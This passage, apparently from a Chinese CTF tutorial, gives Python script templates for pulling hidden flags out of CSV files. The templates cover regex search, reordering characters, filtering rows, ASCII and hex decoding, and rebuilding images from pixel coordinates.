</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">line_no</span><span class="p">,</span> <span class="n">row</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">reader</span><span class="p">,</span> <span class="n">start</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">col_no</span><span class="p">,</span> <span class="n">cell</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">row</span><span class="p">,</span> <span class="n">start</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">match</span> <span class="o">=</span> <span class="n">pattern</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="n">cell</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="k">match</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] 第 </span><span class="si">{</span><span class="n">line_no</span><span class="si">}</span><span class="s2"> 行，第 </span><span class="si">{</span><span class="n">col_no</span><span class="si">}</span><span class="s2"> 列找到 flag:&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="k">match</span><span class="o">.</span><span class="n">group</span><span class="p">())</span>
</span></span></code></pre></div><p>如果比赛的flag格式不是<code>flag{}</code>，就改这里：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">pattern</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="sa">r</span><span class="s2">&#34;你的比赛前缀\{.*?\}&#34;</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">IGNORECASE</span><span class="p">)</span>
</span></span></code></pre></div><hr>
<h2 id="5脚本模板二排序后拼接字符">
<a class="header-anchor" href="#5%e8%84%9a%e6%9c%ac%e6%a8%a1%e6%9d%bf%e4%ba%8c%e6%8e%92%e5%ba%8f%e5%90%8e%e6%8b%bc%e6%8e%a5%e5%ad%97%e7%ac%a6"></a>
5.脚本模板二：排序后拼接字符
</h2><p>适用于CSV里有<code>index</code>和<code>char</code>之类的列。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">filename</span> <span class="o">=</span> <span class="s2">&#34;data.csv&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictReader</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">reader</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">index</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;index&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="n">char</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="s2">&#34;char&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">items</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">index</span><span class="p">,</span> <span class="n">char</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">x</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">char</span> <span class="k">for</span> <span class="n">index</span><span class="p">,</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">items</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</span></span></code></pre></div><p>这类题最常见的改动点是列名。比如题目里叫<code>pos</code>和<code>value</code>，就改成：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">index</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;pos&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="n">char</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="s2">&#34;value&#34;</span><span class="p">]</span>
</span></span></code></pre></div><hr>
<h2 id="6脚本模板三筛选有效行后拼接">
<a class="header-anchor" href="#6%e8%84%9a%e6%9c%ac%e6%a8%a1%e6%9d%bf%e4%b8%89%e7%ad%9b%e9%80%89%e6%9c%89%e6%95%88%e8%a1%8c%e5%90%8e%e6%8b%bc%e6%8e%a5"></a>
6.脚本模板三：筛选有效行后拼接
</h2><p>适用于CSV里有一列用来标记是否有效，例如<code>valid</code>、<code>is_flag</code>、<code>status</code>。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">filename</span> <span class="o">=</span> <span class="s2">&#34;data.csv&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">result</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictReader</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">reader</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">row</span><span class="p">[</span><span class="s2">&#34;valid&#34;</span><span class="p">]</span> <span class="o">==</span> <span class="s2">&#34;1&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">result</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;value&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">result</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</span></span></code></pre></div><p>如果还需要排序，就把筛选和排序结合起来：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">filename</span> <span class="o">=</span> <span class="s2">&#34;data.csv&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictReader</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">reader</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">row</span><span class="p">[</span><span class="s2">&#34;valid&#34;</span><span class="p">]</span> <span class="o">==</span> <span class="s2">&#34;1&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">items</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;index&#34;</span><span class="p">]),</span> <span class="n">row</span><span class="p">[</span><span class="s2">&#34;value&#34;</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">x</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">value</span> <span class="k">for</span> <span class="n">index</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">items</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</span></span></code></pre></div><hr>
<h2 id="7脚本模板四ascii转字符">
<a class="header-anchor" href="#7%e8%84%9a%e6%9c%ac%e6%a8%a1%e6%9d%bf%e5%9b%9bascii%e8%bd%ac%e5%ad%97%e7%ac%a6"></a>
7.脚本模板四：ASCII转字符
</h2><p>适用于字段里是一堆数字，例如<code>102,108,97,103</code>。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">filename</span> <span class="o">=</span> <span class="s2">&#34;data.csv&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">chars</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictReader</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">reader</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">num</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;ascii&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="n">chars</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">num</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">chars</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</span></span></code></pre></div><p>如果CSV里面还有顺序列：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">filename</span> <span class="o">=</span> <span class="s2">&#34;data.csv&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictReader</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">reader</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">index</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;index&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="n">char</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;ascii&#34;</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl">        <span class="n">items</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">index</span><span class="p">,</span> <span class="n">char</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">x</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">char</span> <span class="k">for</span> <span class="n">index</span><span class="p">,</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">items</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</span></span></code></pre></div><hr>
<h2 id="8脚本模板五十六进制解码">
<a class="header-anchor" href="#8%e8%84%9a%e6%9c%ac%e6%a8%a1%e6%9d%bf%e4%ba%94%e5%8d%81%e5%85%ad%e8%bf%9b%e5%88%b6%e8%a7%a3%e7%a0%81"></a>
8.脚本模板五：十六进制解码
</h2><p>CSV中可能有类似<code>66</code>、<code>6c</code>、<code>61</code>、<code>67</code>这样的十六进制数据。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">filename</span> <span class="o">=</span> <span class="s2">&#34;data.csv&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">hex_parts</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictReader</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">reader</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">hex_parts</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;hex&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">hex_string</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">hex_parts</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">result</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">hex_string</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">result</span><span class="p">)</span>
</span></span></code></pre></div><p>如果每一行是完整的一段十六进制，也可以逐行解码：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">text</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;hex&#34;</span><span class="p">])</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span>
</span></span></code></pre></div><hr>
<h2 id="9脚本模板六坐标还原图片">
<a class="header-anchor" href="#9%e8%84%9a%e6%9c%ac%e6%a8%a1%e6%9d%bf%e5%85%ad%e5%9d%90%e6%a0%87%e8%bf%98%e5%8e%9f%e5%9b%be%e7%89%87"></a>
9.脚本模板六：坐标还原图片
</h2><p>如果CSV里有<code>x</code>、<code>y</code>、<code>value</code>或者<code>r</code>、<code>g</code>、<code>b</code>，大概率是让你画图。</p>
<p>先安装Pillow：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">pip install pillow
</span></span></code></pre></div><p>黑白图还原：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">filename</span> <span class="o">=</span> <span class="s2">&#34;data.csv&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">points</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictReader</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">reader</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">x</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;x&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="n">y</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;y&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="n">value</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;value&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="n">points</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">value</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">width</span> <span class="o">=</span> <span class="nb">max</span><span class="p">(</span><span class="n">x</span> <span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">points</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="n">height</span> <span class="o">=</span> <span class="nb">max</span><span class="p">(</span><span class="n">y</span> <span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">points</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">img</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="s2">&#34;L&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">width</span><span class="p">,</span> <span class="n">height</span><span class="p">),</span> <span class="mi">255</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">points</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">color</span> <span class="o">=</span> <span class="mi">0</span> <span class="k">if</span> <span class="n">value</span> <span class="o">==</span> <span class="mi">1</span> <span class="k">else</span> <span class="mi">255</span>
</span></span><span class="line"><span class="cl">    <span class="n">img</span><span class="o">.</span><span class="n">putpixel</span><span class="p">((</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">),</span> <span class="n">color</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">img</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s2">&#34;result.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[+] 已保存 result.png&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>RGB彩色图还原：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">filename</span> <span class="o">=</span> <span class="s2">&#34;data.csv&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">points</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictReader</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">reader</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">x</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;x&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="n">y</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;y&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;r&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="n">g</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;g&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="n">b</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;b&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="n">points</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">width</span> <span class="o">=</span> <span class="nb">max</span><span class="p">(</span><span class="n">x</span> <span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">points</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="n">height</span> <span class="o">=</span> <span class="nb">max</span><span class="p">(</span><span class="n">y</span> <span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">points</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">img</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="s2">&#34;RGB&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">width</span><span class="p">,</span> <span class="n">height</span><span class="p">),</span> <span class="p">(</span><span class="mi">255</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="mi">255</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">points</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">img</span><span class="o">.</span><span class="n">putpixel</span><span class="p">((</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">),</span> <span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">img</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s2">&#34;result.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[+] 已保存 result.png&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>保存出来以后，如果是二维码，可以直接扫码；如果图像方向不对，可以尝试旋转、翻转或者放大。</p>
<hr>
<h2 id="10一个完整解题示例">
<a class="header-anchor" href="#10%e4%b8%80%e4%b8%aa%e5%ae%8c%e6%95%b4%e8%a7%a3%e9%a2%98%e7%a4%ba%e4%be%8b"></a>
10.一个完整解题示例
</h2><p>假设题目给了<code>data.csv</code>：</p>
